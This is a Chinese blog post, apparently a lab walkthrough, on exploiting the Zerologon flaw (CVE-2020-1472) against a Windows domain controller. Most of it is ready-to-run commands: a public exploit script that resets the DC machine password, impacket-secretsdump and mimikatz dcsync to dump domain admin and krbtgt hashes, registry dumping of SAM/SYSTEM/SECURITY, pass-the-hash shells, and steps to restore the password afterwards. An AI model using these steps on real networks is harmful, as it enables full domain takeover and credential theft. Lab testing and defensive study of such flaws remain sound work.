CVE-2020-1472 Zerologon
1. 相关信息
CVE-2020-1472 是继 MS17010 之后一个比较好用的内网提权漏洞,影响Windows Server 2008 R2 至 Windows Server 2019 的多个版本系统,只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞。该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为 windows ,该漏洞的稳定利用方式为重置目标域控的密码,然后利用空的控凭证进行 Dc sync 获取域管权限后修复域控密码,之所以不直接使用域控凭证远程执行命令,是因为城控账户是不可以登录的,但是域控具备 DCsync 权限, 可以获取域内任意用户的凭证。
漏洞利用过程中会重置域控存储在域中 (ntds.dit) 的凭证,而域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,会导致目标域控脱域,所以在重置完域控凭证后要尽快恢复。
- 影响版本:
- 对应补丁:
2. 操作步骤
- 测试环境:
- 靶机:Microsoft Windows Server 2016 Standard 10.0.14393 暂缺 Build 14393
- 测试机:Kali 2022.2 官方虚拟机
2.1 单步操作
所用脚本:
- 探测脚本:https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py
- 利用脚本:https://github.com/VoidSec/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py
- 哈希重置脚本:https://github.com/VoidSec/CVE-2020-1472/blob/master/reinstall_original_pw.py
- 后来发现使用人数更多的一个仓库:https://github.com/dirkjanm/CVE-2020-1472
-
漏洞探测:
zerologon_tester.py 域控主机名 域控IP地址
-
漏洞利用(这个脚本本身也带探测功能):
python3 cve-2020-1472-exploit.py -t 域控IP -n 域控主机名
-
导出域管理员口令哈希:
impacket-secretsdump 域名/域控主机名\$@域控IP -no-pass -just-dc-user 域管用户名
当然,也可以导出全部用户的 hash,去掉最后的
-just-dc-user
开关就行。 -
获得域控执行权限:
impacket-wmiexec -hashes :域管理员哈希 域管用户名@域控地址
-
恢复机器账户哈希:
powershell Reset-ComputerMachinePassword
-
另外一种恢复方法
-
获取域控原始 hash,并下载回本地
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save lget system.save lget sam.save lget security.save del /f system.save del /f sam.save del /f security.save
-
提取原始的哈希:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
-
利用脚本恢复:
python3 reinstall_original_pw.py 与控主机名 域控IP 上一步获得的hash
恢复后再次尝试用空口令获取哈希,就提示失败了
用获取到的域管口令哈希再次获取域控机器账户哈希,可以看到已经恢复
-
-
还可以通过 lsass 提取原始哈希:
sekurlsa::logonpassword
2.2 Mimikatz 一步到位
-
提升权限:
privilege::debug
-
检测是否存在漏洞:
lsadump::zerologon /target:<dc-ip> /account:<主机名>$
-
重置密码:
lsadump::zerologon /target:<dc-ip> /account:<主机名>$ /exploit
-
导出域管hash:
lsadump::dcsync /domain:<域名> /dc:<域控主机FQDN> /user:<想要导出hash的user,如:administrator> /authuser:<计算机名>$ /authdomain:<域名> /authpassword:"" /authntlm
例如:
lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm
-
使用域管 hash 启动一个新的命令行(PTH):
sekurlsa::pth /user:域管用户名 /domain:域名 /ntlm:域管hash "cmd.exe"
-
恢复域控机器账户哈希( 在PTH后的那个窗口启动 mimikatz ):
lsadump::postzerologon /target:域控IP /account:域控机器账号$
3. 注意事项
-
py脚本依赖安装过程中会出现一些错误提示,并不影响使用(可能是还没有用到那么高级的功能):
ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts. crackmapexec 5.2.2 requires bs4<0.0.2,>=0.0.1, which is not installed. crackmapexec 5.2.2 requires neo4j<5.0.0,>=4.1.1, but you have neo4j 1.7.0.dev0 which is incompatible. crackmapexec 5.2.2 requires pylnk3<0.4.0,>=0.3.0, but you have pylnk3 0.4.2 which is incompatible.
-
指定用户的时候,需要和工具导出哈希时前面的名字保持一致
-
wmiexec 执行编码问题,相关语言编码可以在 https://docs.python.org/3/library/codecs.html 中找到,或者进入 shell 后输入
chcp
获得系统当前编码格式信息。 -
mimikatz 使用的时候需要将目标主机添加到 hosts 文件中,不然
lsadump::dcsync
时会出现找不到主机的情况 -
mimikatz 重置密码之后会是一个固定值。(
Waza1234/Waza1234/Waza1234/
)
“当我还是个孩子时,我吃过很多的食物,现在已经记不起来吃过什么了。但可以肯定的是,它们中的一部分已经长成我的骨头和肉。”
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】